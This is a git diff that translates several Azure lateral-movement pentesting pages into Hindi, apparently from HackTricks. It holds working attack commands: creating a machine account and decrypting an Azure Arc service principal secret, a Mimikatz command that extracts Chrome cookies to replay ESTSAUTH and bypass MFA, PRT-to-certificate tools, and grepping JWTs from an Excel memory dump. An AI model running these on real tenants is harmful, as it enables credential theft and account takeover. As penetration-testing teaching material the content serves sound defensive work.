b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md @@ -2,19 +2,18 @@ {{#include ../../../banners/hacktricks-training.md}} -### Identifying the Issues +### समस्याओं की पहचान करना -Azure Arc allows for the integration of new internal servers (joined domain servers) into Azure Arc using the Group Policy Object method. To facilitate this, Microsoft provides a deployment toolkit necessary for initiating the onboarding procedure. Inside the ArcEnableServerGroupPolicy.zip file, the following scripts can be found: DeployGPO.ps1, EnableAzureArc.ps1, and AzureArcDeployment.psm1. +Azure Arc नए आंतरिक सर्वरों (जुड़े हुए डोमेन सर्वर) को Azure Arc में Group Policy Object विधि का उपयोग करके एकीकृत करने की अनुमति देता है। इसे सुविधाजनक बनाने के लिए, Microsoft एक तैनाती उपकरण प्रदान करता है जो ऑनबोर्डिंग प्रक्रिया को प्रारंभ करने के लिए आवश्यक है। ArcEnableServerGroupPolicy.zip फ़ाइल के अंदर, निम्नलिखित स्क्रिप्टें पाई जा सकती हैं: DeployGPO.ps1, EnableAzureArc.ps1, और AzureArcDeployment.psm1। -When executed, the DeployGPO.ps1 script performs the following actions: +जब इसे निष्पादित किया जाता है, तो DeployGPO.ps1 स्क्रिप्ट निम्नलिखित कार्य करती है: -1. Creates the Azure Arc Servers Onboarding GPO within the local domain. -2. Copies the EnableAzureArc.ps1 onboarding script to the designated network share created for the onboarding process, which also contains the Windows installer package. +1. स्थानीय डोमेन के भीतर Azure Arc Servers Onboarding GPO बनाती है। +2. EnableAzureArc.ps1 ऑनबोर्डिंग स्क्रिप्ट को ऑनबोर्डिंग प्रक्रिया के लिए बनाए गए निर्दिष्ट नेटवर्क शेयर में कॉपी करती है, जिसमें Windows इंस्टॉलर पैकेज भी शामिल है। -When running this script, sys admins need to provide two main parameters: **ServicePrincipalId** and **ServicePrincipalClientSecret**. Additionally, it requires other parameters such as the domain, the FQDN of the server hosting the share, and the share name. Further details such as the tenant ID, resource group, and other necessary information must also be provided to the script. - -An encrypted secret is generated in the AzureArcDeploy directory on the specified share using DPAPI-NG encryption. The encrypted secret is stored in a file named encryptedServicePrincipalSecret. Evidence of this can be found in the DeployGPO.ps1 script, where the encryption is performed by calling ProtectBase64 with $descriptor and $ServicePrincipalSecret as inputs. The descriptor consists of the Domain Computer and Domain Controller group SIDs, ensuring that the ServicePrincipalSecret can only be decrypted by the Domain Controllers and Domain Computers security groups, as noted in the script comments. +इस स्क्रिप्ट को चलाते समय, सिस्टम प्रशासकों को दो मुख्य पैरामीटर प्रदान करने की आवश्यकता होती है: **ServicePrincipalId** और **ServicePrincipalClientSecret**। इसके अतिरिक्त, इसे डोमेन, शेयर होस्ट करने वाले सर्वर का FQDN, और शेयर नाम जैसे अन्य पैरामीटर की भी आवश्यकता होती है। स्क्रिप्ट को टेनेट ID, संसाधन समूह, और अन्य आवश्यक जानकारी भी प्रदान करनी होती है। +DPAPI-NG एन्क्रिप्शन का उपयोग करके निर्दिष्ट शेयर पर AzureArcDeploy निर्देशिका में एक एन्क्रिप्टेड सीक्रेट उत्पन्न किया जाता है। एन्क्रिप्टेड सीक्रेट को encryptedServicePrincipalSecret नामक फ़ाइल में संग्रहीत किया जाता है। इसका प्रमाण DeployGPO.ps1 स्क्रिप्ट में पाया जा सकता है, जहां एन्क्रिप्शन को $descriptor और $ServicePrincipalSecret को इनपुट के रूप में कॉल करके ProtectBase64 द्वारा किया जाता है। डिस्क्रिप्टर में Domain Computer और Domain Controller समूह SIDs शामिल होते हैं, यह सुनिश्चित करते हुए कि ServicePrincipalSecret केवल Domain Controllers और Domain Computers सुरक्षा समूहों द्वारा डिक्रिप्ट किया जा सकता है, जैसा कि स्क्रिप्ट टिप्पणियों में उल्लेख किया गया है। ```powershell # Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups $DomainComputersSID = "SID=" + $DomainComputersSID @@ -23,24 +22,20 @@ $descriptor = @($DomainComputersSID, $DomainControllersSID) -join " OR " Import-Module $PSScriptRoot\AzureArcDeployment.psm1 $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret) ``` - ### Exploit -We have the follow conditions: +हमारे पास निम्नलिखित शर्तें हैं: -1. We have successfully penetrated the internal network. -2. We have the capability to create or assume control of a computer account within Active Directory. -3. We have discovered a network share containing the AzureArcDeploy directory. - -There are several methods to obtain a machine account within an AD environment. One of the most common is exploiting the machine account quota. Another method involves compromising a machine account through vulnerable ACLs or various other misconfigurations. +1. हम आंतरिक नेटवर्क में सफलतापूर्वक प्रवेश कर चुके हैं। +2. हमारे पास Active Directory के भीतर एक कंप्यूटर खाते को बनाने या उस पर नियंत्रण करने की क्षमता है। +3. हमने AzureArcDeploy निर्देशिका को समाहित करने वाले एक नेटवर्क शेयर का पता लगाया है। +AD वातावरण में एक मशीन खाते को प्राप्त करने के कई तरीके हैं। सबसे सामान्य तरीकों में से एक मशीन खाता कोटा का शोषण करना है। एक और तरीका कमजोर ACLs या विभिन्न अन्य गलत कॉन्फ़िगरेशन के माध्यम से मशीन खाते से समझौता करना है। ```powershell Import-MKodule powermad New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose ``` - -Once a machine account is obtained, it is possible to authenticate using this account. We can either use the runas.exe command with the netonly flag or use pass-the-ticket with Rubeus.exe. - +एक बार मशीन खाता प्राप्त हो जाने पर, इस खाते का उपयोग करके प्रमाणीकरण करना संभव है। हम या तो netonly ध्वज के साथ runas.exe कमांड का उपयोग कर सकते हैं या Rubeus.exe के साथ पास-दी-टिकट का उपयोग कर सकते हैं। ```powershell runas /user:fake01$ /netonly powershell ``` @@ -48,9 +43,7 @@ runas /user:fake01$ /netonly powershell ```powershell .\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr ``` - -By having the TGT for our computer account stored in memory, we can use the following script to decrypt the service principal secret. - +हमारी कंप्यूटर खाता के लिए TGT को मेमोरी में संग्रहीत करके, हम सेवा प्रमुख गुप्त को डिक्रिप्ट करने के लिए निम्नलिखित स्क्रिप्ट का उपयोग कर सकते हैं। ```powershell Import-Module .\AzureArcDeployment.psm1 @@ -59,17 +52,12 @@ $encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedSer $ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret) $ebs ``` +वैकल्पिक रूप से, हम [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG) का उपयोग कर सकते हैं। -Alternatively, we can use [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG). +इस बिंदु पर, हम ArcInfo.json फ़ाइल से Azure से कनेक्ट करने के लिए आवश्यक शेष जानकारी एकत्र कर सकते हैं, जो कि encryptedServicePrincipalSecret फ़ाइल के समान नेटवर्क शेयर पर संग्रहीत है। इस फ़ाइल में विवरण शामिल हैं जैसे: TenantId, servicePrincipalClientId, ResourceGroup, और अधिक। इस जानकारी के साथ, हम Azure CLI का उपयोग करके समझौता किए गए सेवा प्रमुख के रूप में प्रमाणीकरण कर सकते हैं। -At this point, we can gather the remaining information needed to connect to Azure from the ArcInfo.json file, which is stored on the same network share as the encryptedServicePrincipalSecret file. This file contains details such as: TenantId, servicePrincipalClientId, ResourceGroup, and more. With this information, we can use Azure CLI to authenticate as the compromised service principal. - -## References +## संदर्भ - [https://xybytes.com/azure/Abusing-Azure-Arc/](https://xybytes.com/azure/Abusing-Azure-Arc/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md index 2ddcbb0a5..8e0da36b6 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md @@ -6,21 +6,21 @@ ### Azure CLI (Command-Line Interface) -Tokens and sensitive data are stored locally by Azure CLI, raising security concerns: +Tokens और संवेदनशील डेटा Azure CLI द्वारा स्थानीय रूप से संग्रहीत किए जाते हैं, जिससे सुरक्षा चिंताएँ उत्पन्न होती हैं: -1. **Access Tokens**: Stored in plaintext within `accessTokens.json` located at `C:\Users\\.Azure`. -2. **Subscription Information**: `azureProfile.json`, in the same directory, holds subscription details. -3. **Log Files**: The `ErrorRecords` folder within `.azure` might contain logs with exposed credentials, such as: - - Executed commands with credentials embedded. - - URLs accessed using tokens, potentially revealing sensitive information. +1. **Access Tokens**: `accessTokens.json` में स्पष्ट पाठ के रूप में संग्रहीत होते हैं, जो `C:\Users\\.Azure` पर स्थित है। +2. **Subscription Information**: `azureProfile.json`, उसी निर्देशिका में, सब्सक्रिप्शन विवरण रखता है। +3. **Log Files**: `.azure` के भीतर `ErrorRecords` फ़ोल्डर में लॉग हो सकते हैं जिनमें उजागर क्रेडेंशियल्स होते हैं, जैसे: +- क्रेडेंशियल्स के साथ निष्पादित कमांड। +- टोकन का उपयोग करके एक्सेस की गई URLs, जो संवेदनशील जानकारी प्रकट कर सकती हैं। ### Azure PowerShell -Azure PowerShell also stores tokens and sensitive data, which can be accessed locally: +Azure PowerShell भी टोकन और संवेदनशील डेटा को संग्रहीत करता है, जिसे स्थानीय रूप से एक्सेस किया जा सकता है: -1. **Access Tokens**: `TokenCache.dat`, located at `C:\Users\\.Azure`, stores access tokens in plaintext. -2. **Service Principal Secrets**: These are stored unencrypted in `AzureRmContext.json`. -3. **Token Saving Feature**: Users have the ability to persist tokens using the `Save-AzContext` command, which should be used cautiously to prevent unauthorized access. +1. **Access Tokens**: `TokenCache.dat`, जो `C:\Users\\.Azure` पर स्थित है, स्पष्ट पाठ में एक्सेस टोकन संग्रहीत करता है। +2. **Service Principal Secrets**: ये `AzureRmContext.json` में बिना एन्क्रिप्टेड संग्रहीत होते हैं। +3. **Token Saving Feature**: उपयोगकर्ताओं के पास `Save-AzContext` कमांड का उपयोग करके टोकन को स्थायी बनाने की क्षमता होती है, जिसे अनधिकृत एक्सेस से बचने के लिए सावधानी से उपयोग किया जाना चाहिए। ## Automatic Tools to find them @@ -29,15 +29,11 @@ Azure PowerShell also stores tokens and sensitive data, which can be accessed lo ## Security Recommendations -Considering the storage of sensitive data in plaintext, it's crucial to secure these files and directories by: +संवेदनशील डेटा के स्पष्ट पाठ में संग्रहीत होने को देखते हुए, इन फ़ाइलों और निर्देशिकाओं को सुरक्षित करना महत्वपूर्ण है: -- Limiting access rights to these files. -- Regularly monitoring and auditing these directories for unauthorized access or unexpected changes. -- Employing encryption for sensitive files where possible. -- Educating users about the risks and best practices for handling such sensitive information. +- इन फ़ाइलों के लिए एक्सेस अधिकारों को सीमित करना। +- अनधिकृत एक्सेस या अप्रत्याशित परिवर्तनों के लिए इन निर्देशिकाओं की नियमित रूप से निगरानी और ऑडिट करना। +- जहां संभव हो, संवेदनशील फ़ाइलों के लिए एन्क्रिप्शन का उपयोग करना। +- उपयोगकर्ताओं को ऐसे संवेदनशील जानकारी को संभालने के लिए जोखिमों और सर्वोत्तम प्रथाओं के बारे में शिक्षित करना। {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md index f2a5f2f4d..000ae4e61 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md @@ -4,40 +4,32 @@ ## Pass the Certificate (Azure) -In Azure joined machines, it's possible to authenticate from one machine to another using certificates that **must be issued by Azure AD CA** for the required user (as the subject) when both machines support the **NegoEx** authentication mechanism. +Azure में जुड़े मशीनों पर, एक मशीन से दूसरी मशीन पर प्रमाणपत्रों का उपयोग करके प्रमाणित करना संभव है जो **Azure AD CA द्वारा आवश्यक उपयोगकर्ता के लिए जारी किए जाने चाहिए** (विषय के रूप में) जब दोनों मशीनें **NegoEx** प्रमाणीकरण तंत्र का समर्थन करती हैं। -In super simplified terms: +बहुत सरल शब्दों में: -- The machine (client) initiating the connection **needs a certificate from Azure AD for a user**. -- Client creates a JSON Web Token (JWT) header containing PRT and other details, sign it using the Derived key (using the session key and the security context) and **sends it to Azure AD** -- Azure AD verifies the JWT signature using client session key and security context, checks validity of PRT and **responds** with the **certificate**. +- कनेक्शन शुरू करने वाली मशीन (क्लाइंट) को **उपयोगकर्ता के लिए Azure AD से एक प्रमाणपत्र की आवश्यकता होती है**। +- क्लाइंट एक JSON वेब टोकन (JWT) हेडर बनाता है जिसमें PRT और अन्य विवरण होते हैं, इसे व्युत्पन्न कुंजी (सत्र कुंजी और सुरक्षा संदर्भ का उपयोग करके) का उपयोग करके साइन करता है और **इसे Azure AD को भेजता है**। +- Azure AD JWT हस्ताक्षर को क्लाइंट सत्र कुंजी और सुरक्षा संदर्भ का उपयोग करके सत्यापित करता है, PRT की वैधता की जांच करता है और **प्रतिक्रिया** में **प्रमाणपत्र** भेजता है। -In this scenario and after grabbing all the info needed for a [**Pass the PRT**](pass-the-prt.md) attack: +इस परिदृश्य में और [**Pass the PRT**](pass-the-prt.md) हमले के लिए आवश्यक सभी जानकारी प्राप्त करने के बाद: -- Username -- Tenant ID +- उपयोगकर्ता नाम +- टेनेट आईडी - PRT -- Security context -- Derived Key - -It's possible to **request P2P certificate** for the user with the tool [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:** +- सुरक्षा संदर्भ +- व्युत्पन्न कुंजी +उपकरण [**PrtToCert**](https://github.com/morRubin/PrtToCert)** के लिए उपयोगकर्ता के लिए **P2P प्रमाणपत्र** **मांगना संभव है**: ```bash RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE] ``` - -The certificates will last the same as the PRT. To use the certificate you can use the python tool [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) that will **authenticate** to the remote machine, run **PSEXEC** and **open a CMD** on the victim machine. This will allow us to use Mimikatz again to get the PRT of another user. - +सर्टिफिकेट्स की अवधि PRT के समान होगी। सर्टिफिकेट का उपयोग करने के लिए, आप पायथन टूल [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) का उपयोग कर सकते हैं जो **remote machine** पर **authenticate** करेगा, **PSEXEC** चलाएगा और पीड़ित मशीन पर **CMD** खोलेगा। इससे हमें Mimikatz का फिर से उपयोग करने की अनुमति मिलेगी ताकि हम किसी अन्य उपयोगकर्ता का PRT प्राप्त कर सकें। ```bash Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP ``` - ## References -- For more details about how Pass the Certificate works check the original post [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597) +- Pass the Certificate कैसे काम करता है इसके बारे में अधिक जानकारी के लिए मूल पोस्ट देखें [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md index f6695c40a..43b9c6db0 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md @@ -4,9 +4,9 @@ ## Why Cookies? -Browser **cookies** are a great mechanism to **bypass authentication and MFA**. Because the user has already authenticated in the application, the session **cookie** can just be used to **access data** as that user, without needing to re-authenticate. +ब्राउज़र **cookies** प्रमाणीकरण और MFA को **बायपास** करने का एक शानदार तंत्र हैं। क्योंकि उपयोगकर्ता पहले ही एप्लिकेशन में प्रमाणीकरण कर चुका है, सत्र **cookie** का उपयोग उस उपयोगकर्ता के रूप में **डेटा** तक पहुँचने के लिए किया जा सकता है, बिना पुनः प्रमाणीकरण की आवश्यकता के। -You can see where are **browser cookies located** in: +आप देख सकते हैं कि **ब्राउज़र कुकीज़ कहाँ स्थित हैं**: {{#ref}} https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts?q=browse#google-chrome @@ -14,28 +14,22 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m ## Attack -The challenging part is that those **cookies are encrypted** for the **user** via the Microsoft Data Protection API (**DPAPI**). This is encrypted using cryptographic [keys tied to the user](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) the cookies belong to. You can find more information about this in: +चुनौतीपूर्ण भाग यह है कि वे **cookies एन्क्रिप्टेड** हैं **उपयोगकर्ता** के लिए Microsoft Data Protection API (**DPAPI**) के माध्यम से। यह एन्क्रिप्टेड है [उपयोगकर्ता से जुड़े क्रिप्टोग्राफिक कुंजी](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) का उपयोग करके जिनसे कुकीज़ संबंधित हैं। आप इसके बारे में अधिक जानकारी यहाँ पा सकते हैं: {{#ref}} https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords {{#endref}} -With Mimikatz in hand, I am able to **extract a user’s cookies** even though they are encrypted with this command: - +Mimikatz के साथ, मैं इस कमांड के साथ **एक उपयोगकर्ता की कुकीज़** निकालने में सक्षम हूँ, भले ही वे एन्क्रिप्टेड हों: ```bash mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit ``` +For Azure, हम प्रमाणीकरण कुकीज़ के बारे में चिंतित हैं जिनमें **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, और **`ESTSAUTHLIGHT`** शामिल हैं। ये वहाँ हैं क्योंकि उपयोगकर्ता हाल ही में Azure पर सक्रिय रहा है। -For Azure, we care about the authentication cookies including **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, and **`ESTSAUTHLIGHT`**. Those are there because the user has been active on Azure lately. - -Just navigate to login.microsoftonline.com and add the cookie **`ESTSAUTHPERSISTENT`** (generated by “Stay Signed In” option) or **`ESTSAUTH`**. And you will be authenticated. +बस login.microsoftonline.com पर जाएं और कुकी **`ESTSAUTHPERSISTENT`** (जो “Stay Signed In” विकल्प द्वारा उत्पन्न होती है) या **`ESTSAUTH`** जोड़ें। और आप प्रमाणित हो जाएंगे। ## References - [https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/](https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md index 28bc5b415..a1f6f844e 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md @@ -2,10 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} -**Check:** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/) +**जांचें:** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md index a79c7a659..f410730c7 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md @@ -2,10 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} -**Chec the post in** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) although another post explaining the same can be found in [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) +**पोस्ट देखें** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) हालांकि इसी विषय पर एक और पोस्ट [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) पर मिल सकती है। {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md index 1ba819b3a..f4eba57a9 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md @@ -2,16 +2,15 @@ {{#include ../../../banners/hacktricks-training.md}} -## **Basic Information** +## **बुनियादी जानकारी** -As explained in [**this video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), some Microsoft software synchronized with the cloud (Excel, Teams...) might **store access tokens in clear-text in memory**. So just **dumping** the **memory** of the process and **grepping for JWT tokens** might grant you access over several resources of the victim in the cloud bypassing MFA. +जैसा कि [**इस वीडियो**](https://www.youtube.com/watch?v=OHKZkXC4Duw) में समझाया गया है, कुछ Microsoft सॉफ़्टवेयर जो क्लाउड के साथ समन्वयित होते हैं (Excel, Teams...) **स्मृति में स्पष्ट-टेक्स्ट में एक्सेस टोकन स्टोर कर सकते हैं**। इसलिए केवल **प्रक्रिया की** **स्मृति** को **डंप** करना और **JWT टोकन के लिए grep करना** आपको क्लाउड में MFA को बायपास करते हुए पीड़ित के कई संसाधनों तक पहुंच प्रदान कर सकता है। -Steps: - -1. Dump the excel processes synchronized with in EntraID user with your favourite tool. -2. Run: `string excel.dmp | grep 'eyJ0'` and find several tokens in the output -3. Find the tokens that interest you the most and run tools over them: +चरण: +1. अपने पसंदीदा टूल के साथ EntraID उपयोगकर्ता के साथ समन्वयित एक्सेल प्रक्रियाओं को डंप करें। +2. चलाएँ: `string excel.dmp | grep 'eyJ0'` और आउटपुट में कई टोकन खोजें +3. उन टोकनों को खोजें जो आपको सबसे अधिक रुचिकर लगते हैं और उनके ऊपर टूल चलाएँ: ```bash # Check the identity of the token curl -s -H "Authorization: Bearer " https://graph.microsoft.com/v1.0/me | jq @@ -31,11 +30,6 @@ curl -s -H "Authorization: Bearer " 'https://graph.microsoft.com/v1.0/sit ┌──(magichk㉿black-pearl)-[~] └─$ curl -o -L -H "Authorization: Bearer " '<@microsoft.graph.downloadUrl>' ``` - -**Note that these kind of access tokens can be also found inside other processes.** +**ध्यान दें कि इस प्रकार के एक्सेस टोकन अन्य प्रक्रियाओं के अंदर भी पाए जा सकते हैं।** {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md index 39ee71d6c..6b3b553d4 100644 --- a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md @@ -2,10 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -To start the tests you should have access with a user with **Reader permissions over the subscription** and **Global Reader role in AzureAD**. If even in that case you are **not able to access the content of the Storage accounts** you can fix it with the **role Storage Account Contributor**. +टेस्ट शुरू करने के लिए आपके पास **सदस्यता पर Reader अनुमतियों के साथ एक उपयोगकर्ता** और **AzureAD में Global Reader भूमिका** के साथ पहुंच होनी चाहिए। यदि फिर भी आप **Storage खातों की सामग्री तक पहुंचने में असमर्थ हैं** तो आप इसे **Storage Account Contributor भूमिका** के साथ ठीक कर सकते हैं। {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md index 0be67db54..e276b97f5 100644 --- a/src/pentesting-cloud/pentesting-cloud-methodology.md +++ b/src/pentesting-cloud/pentesting-cloud-methodology.md @@ -6,43 +6,42 @@ ## Basic Methodology -Each cloud has its own peculiarities but in general there are a few **common things a pentester should check** when testing a cloud environment: +प्रत्येक क्लाउड की अपनी विशेषताएँ होती हैं लेकिन सामान्यतः कुछ **सामान्य बातें हैं जिन्हें एक pentester को** क्लाउड वातावरण का परीक्षण करते समय जांचना चाहिए: - **Benchmark checks** - - This will help you **understand the size** of the environment and **services used** - - It will allow you also to find some **quick misconfigurations** as you can perform most of this tests with **automated tools** +- यह आपको **पर्यावरण का आकार** और **सेवाओं का उपयोग** समझने में मदद करेगा +- यह आपको कुछ **त्वरित गलत कॉन्फ़िगरेशन** खोजने की अनुमति देगा क्योंकि आप इनमें से अधिकांश परीक्षण **स्वचालित उपकरणों** के साथ कर सकते हैं - **Services Enumeration** - - You probably won't find much more misconfigurations here if you performed correctly the benchmark tests, but you might find some that weren't being looked for in the benchmark test. - - This will allow you to know **what is exactly being used** in the cloud env - - This will help a lot in the next steps +- यदि आपने बेंचमार्क परीक्षण सही ढंग से किया है तो आप यहाँ अधिक गलत कॉन्फ़िगरेशन नहीं पाएंगे, लेकिन आप कुछ पा सकते हैं जो बेंचमार्क परीक्षण में नहीं देखे गए थे। +- यह आपको यह जानने की अनुमति देगा कि **क्लाउड env में क्या वास्तव में उपयोग किया जा रहा है** +- यह अगले चरणों में बहुत मदद करेगा - **Check exposed assets** - - This can be done during the previous section, you need to **find out everything that is potentially exposed** to the Internet somehow and how can it be accessed. - - Here I'm taking **manually exposed infrastructure** like instances with web pages or other ports being exposed, and also about other **cloud managed services that can be configured** to be exposed (such as DBs or buckets) - - Then you should check **if that resource can be exposed or not** (confidential information? vulnerabilities? misconfigurations in the exposed service?) +- यह पिछले अनुभाग के दौरान किया जा सकता है, आपको **यह पता लगाना होगा कि क्या कुछ भी संभावित रूप से इंटरनेट पर एक्सपोज़ किया गया है** और इसे कैसे एक्सेस किया जा सकता है। +- यहाँ मैं **हाथ से एक्सपोज़ की गई अवसंरचना** जैसे वेब पृष्ठों के साथ उदाहरणों या अन्य पोर्ट्स के बारे में बात कर रहा हूँ, और अन्य **क्लाउड प्रबंधित सेवाओं के बारे में जो एक्सपोज़ के लिए कॉन्फ़िगर की जा सकती हैं** (जैसे DBs या बकेट्स) +- फिर आपको **जांचना चाहिए कि क्या उस संसाधन को एक्सपोज़ किया जा सकता है या नहीं** (गोपनीय जानकारी? कमजोरियाँ? एक्सपोज़ की गई सेवा में गलत कॉन्फ़िगरेशन?) - **Check permissions** - - Here you should **find out all the permissions of each role/user** inside the cloud and how are they used - - Too **many highly privileged** (control everything) accounts? Generated keys not used?... Most of these check should have been done in the benchmark tests already - - If the client is using OpenID or SAML or other **federation** you might need to ask them for further **information** about **how is being each role assigned** (it's not the same that the admin role is assigned to 1 user or to 100) - - It's **not enough to find** which users has **admin** permissions "\*:\*". There are a lot of **other permissions** that depending on the services used can be very **sensitive**. - - Moreover, there are **potential privesc** ways to follow abusing permissions. All this things should be taken into account and **as much privesc paths as possible** should be reported. +- यहाँ आपको **क्लाउड के अंदर प्रत्येक भूमिका/उपयोगकर्ता की सभी अनुमतियों का पता लगाना चाहिए** और उनका उपयोग कैसे किया जा रहा है +- बहुत **अधिक उच्च विशेषाधिकार प्राप्त** (सब कुछ नियंत्रित करने वाले) खाते? उत्पन्न कुंजी का उपयोग नहीं किया गया?... इनमें से अधिकांश जांच पहले से ही बेंचमार्क परीक्षणों में की जानी चाहिए थी +- यदि ग्राहक OpenID या SAML या अन्य **federation** का उपयोग कर रहा है तो आपको उनसे आगे की **जानकारी** पूछनी पड़ सकती है कि **प्रत्येक भूमिका कैसे असाइन की जा रही है** (यह समान नहीं है कि व्यवस्थापक भूमिका 1 उपयोगकर्ता को या 100 को असाइन की गई है) +- यह **खोजना पर्याप्त नहीं है** कि कौन से उपयोगकर्ताओं के पास **admin** अनुमतियाँ "\*:\*" हैं। बहुत सारी **अन्य अनुमतियाँ** हैं जो उपयोग की जाने वाली सेवाओं के आधार पर बहुत **संवेदनशील** हो सकती हैं। +- इसके अलावा, अनुमतियों का दुरुपयोग करते हुए **संभावित privesc** तरीके हैं। इन सभी बातों को ध्यान में रखा जाना चाहिए और **जितने संभव हो सके privesc पथों** की रिपोर्ट की जानी चाहिए। - **Check Integrations** - - It's highly probably that **integrations with other clouds or SaaS** are being used inside the cloud env. - - For **integrations of the cloud you are auditing** with other platform you should notify **who has access to (ab)use that integration** and you should ask **how sensitive** is the action 